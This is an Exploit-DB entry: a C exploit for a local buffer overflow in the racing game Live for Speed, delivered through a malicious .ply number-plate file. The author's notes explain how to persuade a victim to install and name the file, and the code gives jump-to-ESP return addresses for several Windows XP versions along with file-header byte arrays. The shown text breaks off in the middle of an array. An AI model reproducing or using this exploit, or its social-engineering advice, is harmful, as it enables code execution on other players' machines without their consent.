Exploit-DB #4262
Description: Live for Speed S1/S2/Demo - '.ply' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-08-06
Author: n00b

Exploit:
/**
*****
**************************************************************************
0day Live for speed patch x s2 /s1 and demo local .ply File buffer over flow
Live for speed .ply file is a set up file,This file is shared amongst user's 
Who want stylish number plate's on there car's the buffer over flow happened with
An overly long number plate string inside the .ply file.So to exploit this issue
You have to get some one to put the .ply file inside there misc folder inside of
Lfs2,The buffer over flow happened when filling the number plate field with over 
1000 byte's of buffer.Esp once again point's straight into our buffer/shellcode
This is the 3rd buffer over flow i have come across in lfs2,If your going to audit
An application do it properly and leave no stone unturned.This is a demonstration
Haw we can exploit this via a malicious .ply file,Please remember all of the exploit's
Don't have any thing in common except they use the same application to execute 
shell code,So don't try and exploit the file's in exactly the same way.With the 
single and multi player replay file's we had to view them with lfs2.Also no viewing 
file's is need the user simply open's the game like he/she would normally then pick 
on the right game he/she want's to use as soon as the game try's to load the over 
flow happen's and shell code get's executed.In order to exploit this you also need 
to know the username of the person You are giving the file to so you can then name 
the file the same as there user name,Not hard to persuade some one that they must 
name the file with there username or game name or you could easy get this just by 
asking them.Or by looking in the forum's on the league table or even in lfs world 
or during a game there are load's of way's around this.
So if you name was like the example below you would have to name it like this.!!
-------------------------------------
User name:Test
File name:Test ^l^r.ply 
Must have the space as you can see.!!
---------------------
Compile with dev c++ 4.9.9.2

----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!

=========================================
PLY file header format for LFS S2 
=========================================
FILE DESCRIPTION :
==================
The only file description i can give is it's is a set up file for the number 
plate and a few other thing's.No public information is giving about this file.

----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!

Exploit /1/2/3 have been tested with 100% success rate!!
----------------------------------------------------------------
Vendor's web site:www.liveforspeed.net.
Affected version's Live for Speed S2 ALPHA PATCH 0.5X.
Special thank's to str0ke.
****************************************************************
*****
**/



#include <windows.h>
#include <stdio.h>
#include <conio.h>


#define Credits_to "Credit's to n00b for finding this buffer over flow" 
#define Ply_file "test ^l^r.ply"  //You have to define your own file name !!

//If none of the jmp esp work for you find your own and define it!!
#define JMP_ESP_English "\x0A\xAF\xD8\x77"  //user32.dll  xp sp2 english
#define CALL_ESP_French "\x8b\x51\x81\x7c"  //Kernel32.dll xp sp2 french
#define JMP_ESP_German  "\x47\x74\xd2\x77"  //user32.dll   xp sp2 german 
 
  
                                
char file_header1[] =
"\x4c\x46\x53\x50\x4c\x59\x00\x06\x00\x00\x00\x00\x20\x00\x00\x00"
"\x00\x00\x01\x01\x01\x01\x01\x00\x01\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x42\x46\x31\x5f\x4e\x48\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";



char file_header2[] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\